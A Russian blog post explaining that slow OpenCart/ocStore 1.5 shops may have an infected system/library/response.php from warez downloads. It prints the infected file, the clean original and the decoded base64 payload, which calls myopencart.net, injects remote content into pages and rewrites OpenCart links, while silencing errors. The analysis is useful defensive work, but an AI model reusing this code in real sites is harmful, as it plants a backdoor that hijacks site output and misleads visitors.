интернетмагазинот 19 990 руб.
LandingPageот 14 990 руб.

Тормозит, долго грузится opencart, ocstore 1.5….

Тормозит, долго грузится opencart, ocstore 1.5....

Тормозит, долго грузится opencart, ocstore 1.5….

Главная » OpenCart » Тормозит, долго грузится opencart, ocstore 1.5....

Тормозит, долго грузится opencart, ocstore 1.5…., скорее всего проблема в файле: system/library/response.php

ВОТ ОН:

headers[] = $header;
	}
 
	public function redirect($url) {
		header('Location: ' . $url);
		exit;
	}
 
 
	public function setCompression($level) {
		$this->level = $level;
	}
 
 
	public function setOutput($output) {
		$this->output = $output;
	}
 
	private function compress($data, $level = 0) {
		if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false)) {
			$encoding = 'gzip';
		}
 
 
		if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip') !== false)) {
			$encoding = 'x-gzip';
		}
 
		if (!isset($encoding)) {
			return $data;
		}
 
		if (!extension_loaded('zlib') || ini_get('zlib.output_compression')) {
			return $data;
		}
 
		if (headers_sent()) {
			return $data;
		}
 
		if (connection_status()) {
			return $data;
		}
 
 
		$this->addHeader('Content-Encoding: ' . $encoding);
 
		return gzencode($data, (int)$level);
	}
 
	public function output() {
		if ($this->output) {
			if ($this->level) {
				$ouput = $this->compress($this->output, $this->level);
			} else {
				$ouput = $this->output;
			}
 
 
 
			if (!headers_sent()) {
				foreach ($this->headers as $header) {
					header($header, true);
				}
			}
 
			$ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));
 
 
		}
	}
}
?>

И файл из дистрибутива:

headers[] = $header;
	}
 
	public function redirect($url) {
		header('Location: ' . $url);
		exit;
	}
 
	
	public function setCompression($level) {
		$this->level = $level;
	}
 
		
	public function setOutput($output) {
		$this->output = $output;
	}
 
	private function compress($data, $level = 0) {
		if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false)) {
			$encoding = 'gzip';
 
		} 
 
		if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip') !== false)) {
			$encoding = 'x-gzip';
		}
 
		if (!isset($encoding)) {
			return $data;
		}
 
		if (!extension_loaded('zlib') || ini_get('zlib.output_compression')) {
			return $data;
		}
 
		if (headers_sent()) {
			return $data;
		}
 
		if (connection_status()) { 
			return $data;
		}
 
		
		$this->addHeader('Content-Encoding: ' . $encoding);
 
		return gzencode($data, (int)$level);
	}
 
	public function output() {
		if ($this->output) {
			if ($this->level) {
				$ouput = $this->compress($this->output, $this->level);
			} else {
				$ouput = $this->output;
 
 
			}	
				
			if (!headers_sent()) {
				foreach ($this->headers as $header) {
					header($header, true);
				}
			}
 
 
			
			echo $ouput;
		}
	}
}
?>

В данном случае в base64 было закодировано следующее:

function get_page($url){
        $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
        $ch=curl_init();
        curl_setopt ($ch, CURLOPT_URL,$url );
        curl_setopt($ch, CURLOPT_USERAGENT, $agent);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch,CURLOPT_VERBOSE,false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        $page=curl_exec($ch);
        $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        switch($httpcode){
                case '200':
                        return $page;
                break;
                case '404';
                        return false;
                break;
        }
}

if ($ftend = get_page("http://myopencart.net/googlecode/api/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){
$find = array("", "", "opencart.com", "=^_^=.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by");
$replace = array("", $ftend, "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net");
$ouput = str_replace($find, $replace, $ouput);
ini_set("display_errors","off");
error_reporting(0);
echo $ouput;}
else {
echo $ouput;
}

Вот так вот скачивать с варез сайтов, не теряйте бдительность!

 
Запись опубликована в 7:03 пп автором в рубрике OpenCart с метками , , , , , , , , , , , , .

Добавление сайта в поисковые системы.Добавление сайта в поисковые системы.

Добавление сайта в поисковые системы Перечисляя поисковые системы, в которые […]

Основы работы с OpenCart. Как сделать интернет-магазин.Что такое OpenCart?

Что такое OpenCart и почему его стоит использовать для создания […]

Основы работы с OpenCart. Как сделать интернет-магазин.Основы работы с OpenCart. Как сделать интернет-магазин.

OpenCart — это простая и удобная система с открытым кодом. […]

Инструменты профессионала. Список валидаторов, Проверка сайта, Синтаксис кода, Проверка кода, Оптимизация сайтаВалидаторы — Проверка сайта на ошибки — Вебмастеру ассесору дизайнеру и СЕО оптимизатору

Привет вебмастера! Предлагаю вам инструменты для профессионального создания сайтов. Это […]

Как востановить забытый пароль от админки сайта.Как востановить забытый пароль от админки сайта.

Все мы люди, и можем просто забыть (как я) ту […]

Файл .htaccess – настройка перенаправлений и управление конфигурацией веб-сервера.htaccess – настройка и управление

1.Файл .htaccess .htaccess — конфигурационный файл веб-сервера, позволяющий управлять работой […]

Как протестировать сайт в разных десктопных браузерах.Как протестировать сайт в разных десктопных браузерах.

Всё больше достойных поводов находится у веб-разработчиков для того, чтобы […]

3 главных продающих триггера для landing page!3 главных продающих триггера для landing page!

Изобилие товаров и услуг, а также постоянно совершенствующаяся деятельность мошенников […]

комментарииВаши замечания, предложения и вопросы оставляйте в комментариях или присылайте на почту web36@bk.ru, я буду рад узнать ваше мнение!


LPBuilder.pro | Бесплатный онлайн конструктор Landing PageНовый проект - Бесплатный онлайн конструктор с помощью которого можно создавать небольшие веб-сайты, лендинги, онлайн-резюме, портфолио, промо сайты... Испoльзуйте блoки в сoтнях кoмбинаций, прoстo дoбавляя oдин за другим, в интуитивнo пoнятнoм интерфейсе. Вы смoжете сoздать сайт свoими руками, воплощайте свои идеи!
Follow @elazukin